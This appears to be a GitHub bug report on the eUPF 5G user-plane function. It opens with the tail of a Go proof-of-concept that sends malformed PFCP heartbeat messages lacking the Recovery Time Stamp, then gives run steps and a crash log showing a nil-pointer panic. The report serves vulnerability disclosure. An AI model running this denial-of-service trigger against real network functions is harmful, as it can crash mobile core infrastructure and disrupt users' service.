            log.Fatalf("send malformed heartbeat request (missing RecoveryTimeStamp): %v", err)
        }
    case modeHeartbeatResponseMissingRecovery:
        // HeartbeatResponse typically requires eUPF to send HeartbeatRequest first
        // But we can still send it directly
        if err := sendHeartbeatResponseMissingRecovery(conn, seqGen); err != nil {
            log.Fatalf("send malformed heartbeat response (missing RecoveryTimeStamp): %v", err)
        }
    default:
        log.Fatalf("unknown mode: %s", *mode)
    }

    log.Printf("")
    log.Printf("Payload delivered. Observe eUPF logs for panic stack traces.")
}

  1. Download required libraries: go mod tidy
  2. Run the program with the UPF PFCP server address: go run ./main.go -mode heartbeat-request-missing-recovery -host 127.0.0.1 -port 8805 -bind 127.0.0.2

Expected behavior
The PFCP Heartbeat handler must validate presence and length of the Recovery Time Stamp IE before use. If the IE is missing or malformed, the UPF should gracefully handle the message (e.g., discard and log at warning level, optionally mark the peer as unhealthy), without crashing.

Screenshots

Image

Logs

 docker logs eupf
2025/11/12 08:47:34 Unable to read config file: open ./config.yml: no such file or directory. Using defaults
2025/11/12 08:47:34 Startup config: map[api_address:0.0.0.0:8080 association_setup_timeout:5 far_map_size:0 feature_ftup:false feature_ueip:false gtp_echo_interval:10 gtp_peer:[] heartbeat_interval:5 heartbeat_retries:3 heartbeat_timeout:5 interface_name:lo logging_level:info max_sessions:65535 metrics_address:0.0.0.0:9090 n3_address:127.0.0.1 n9_address:127.0.0.1 pdr_map_size:0 pfcp_address:0.0.0.0:8805 pfcp_node_id:127.0.0.1 pfcp_remote_node:[] qer_map_size:0 teid_pool:65535 ueip_pool:10.60.0.0/24 urr_map_size:0 xdp_attach_mode:generic]
2025/11/12 08:47:34 Apply eUPF config: {InterfaceName:[lo] XDPAttachMode:generic ApiAddress:0.0.0.0:8080 PfcpAddress:0.0.0.0:8805 PfcpNodeId:127.0.0.1 PfcpRemoteNode:[] AssociationSetupTimeout:5 MetricsAddress:0.0.0.0:9090 N3Address:127.0.0.1 N9Address:127.0.0.1 GtpPeer:[] GtpEchoInterval:10 QerMapSize:65535 FarMapSize:131070 UrrMapSize:131070 PdrMapSize:131070 MaxSessions:65535 HeartbeatRetries:3 HeartbeatInterval:5 HeartbeatTimeout:5 LoggingLevel:info UEIPPool: FTEIDPool:0 FeatureUEIP:false FeatureFTUP:false}
2025/11/12 08:47:35 INF Attached XDP program to iface "lo" (index 1)
2025/11/12 08:47:35 INF Initialize resources: UEIP pool (CIDR: ""), TEID pool (size: 0)
2025/11/12 08:47:35 INF Starting PFCP connection: 0.0.0.0:8805 with Node ID: 127.0.0.1, N3 address: 127.0.0.1, N9 address: 127.0.0.1
[GIN-debug] [WARNING] Creating an Engine instance with the Logger and Recovery middleware already attached.

[GIN-debug] [WARNING] Running in "debug" mode. Switch to "release" mode in production.
 - using env:   export GIN_MODE=release
 - using code:  gin.SetMode(gin.ReleaseMode)

[GIN-debug] GET    /api/v1/health            --> github.com/edgecomllc/eupf/cmd/api/rest.(*ApiHandler).InitRoutes.func1 (4 handlers)
[GIN-debug] GET    /api/v1/xdp_stats         --> github.com/edgecomllc/eupf/cmd/api/rest.(*ApiHandler).displayXdpStatistics-fm (4 handlers)
[GIN-debug] GET    /api/v1/packet_stats      --> github.com/edgecomllc/eupf/cmd/api/rest.(*ApiHandler).displayPacketStats-fm (4 handlers)
[GIN-debug] GET    /api/v1/route_stats       --> github.com/edgecomllc/eupf/cmd/api/rest.(*ApiHandler).displayRouteStats-fm (4 handlers)
[GIN-debug] GET    /api/v1/config            --> github.com/edgecomllc/eupf/cmd/api/rest.(*ApiHandler).displayConfig-fm (4 handlers)
[GIN-debug] POST   /api/v1/config            --> github.com/edgecomllc/eupf/cmd/api/rest.(*ApiHandler).editConfig-fm (4 handlers)
[GIN-debug] GET    /api/v1/uplink_pdr_map/:id --> github.com/edgecomllc/eupf/cmd/api/rest.(*ApiHandler).getUplinkPdrValue-fm (4 handlers)
[GIN-debug] PUT    /api/v1/uplink_pdr_map/:id --> github.com/edgecomllc/eupf/cmd/api/rest.(*ApiHandler).setUplinkPdrValue-fm (4 handlers)
[GIN-debug] GET    /api/v1/qer_map           --> github.com/edgecomllc/eupf/cmd/api/rest.(*ApiHandler).listQerMapContent-fm (4 handlers)
[GIN-debug] GET    /api/v1/qer_map/:id       --> github.com/edgecomllc/eupf/cmd/api/rest.(*ApiHandler).getQerValue-fm (4 handlers)
[GIN-debug] PUT    /api/v1/qer_map/:id       --> github.com/edgecomllc/eupf/cmd/api/rest.(*ApiHandler).setQerValue-fm (4 handlers)
[GIN-debug] GET    /api/v1/far_map/:id       --> github.com/edgecomllc/eupf/cmd/api/rest.(*ApiHandler).getFarValue-fm (4 handlers)
[GIN-debug] PUT    /api/v1/far_map/:id       --> github.com/edgecomllc/eupf/cmd/api/rest.(*ApiHandler).setFarValue-fm (4 handlers)
[GIN-debug] GET    /api/v1/pfcp_associations --> github.com/edgecomllc/eupf/cmd/api/rest.(*ApiHandler).listPfcpAssociations-fm (4 handlers)
[GIN-debug] GET    /api/v1/pfcp_associations/full --> github.com/edgecomllc/eupf/cmd/api/rest.(*ApiHandler).listPfcpAssociationsFull-fm (4 handlers)
[GIN-debug] GET    /api/v1/pfcp_sessions     --> github.com/edgecomllc/eupf/cmd/api/rest.(*ApiHandler).listPfcpSessionsFiltered-fm (4 handlers)
[GIN-debug] GET    /swagger/*any             --> github.com/swaggo/gin-swagger.CustomWrapHandler.func1 (4 handlers)
[GIN-debug] [WARNING] Creating an Engine instance with the Logger and Recovery middleware already attached.

[GIN-debug] [WARNING] Running in "debug" mode. Switch to "release" mode in production.
 - using env:   export GIN_MODE=release
 - using code:  gin.SetMode(gin.ReleaseMode)

[GIN-debug] GET    /metrics                  --> github.com/edgecomllc/eupf/cmd/api/rest.(*ApiHandler).InitMetricsRoute.(*ApiHandler).InitMetricsRoute.func1.func2 (4 handlers)
2025/11/12 08:47:35 INF running on 0.0.0.0:8080
2025/11/12 08:47:35 INF running on 0.0.0.0:9090
2025/11/12 08:47:44 INF Saving new association: &{ID:127.0.0.2 Addr:127.0.0.2 NextSessionID:1 NextSequenceID:1 Sessions:map[] HeartbeatChannel:0xc0000888a0 HeartbeatsActive:false Mutex:{state:0 sema:0}}
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x8d04ce]

goroutine 8 [running]:
github.com/wmnsk/go-pfcp/ie.(*IE).RecoveryTimeStamp(0x0?)
        /go/pkg/mod/github.com/wmnsk/go-pfcp@v0.0.23/ie/recovery-time-stamp.go:19 +0xe
github.com/edgecomllc/eupf/cmd/core.HandlePfcpHeartbeatRequest(0xc000104380, {0x100db80?, 0xc00029ec00}, {0xc0002c2150, 0x9})
        /app/cmd/core/pfcp_hearbeat.go:13 +0x72
github.com/edgecomllc/eupf/cmd/core.PfcpHandlerMap.Handle(0xc000486780, 0xc000104380, {0xc00029c000, 0x8, 0x5dc}, 0xc00029ebd0)
        /app/cmd/core/pfcp_handlers.go:29 +0x2b1
github.com/edgecomllc/eupf/cmd/core.(*PfcpConnection).Handle(0x1ed1560?, {0xc00029c000?, 0x0?, 0xc000d83f78?}, 0x0?)
        /app/cmd/core/pfcp_connection.go:150 +0x32
github.com/edgecomllc/eupf/cmd/core.(*PfcpConnection).Run(0xc000104380)
        /app/cmd/core/pfcp_connection.go:136 +0x2cf
created by main.main in goroutine 1
        /app/cmd/main.go:103 +0xcfe

Environment (please complete the following information):

  • OS: Ubuntu 24.04
  • 5GC kind and version: None
  • UPF version: a8d774a

Metadata

Metadata

Assignees

Labels

No labels
No labels

Type

No type

Fields

No fields configured for issues without a type.

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions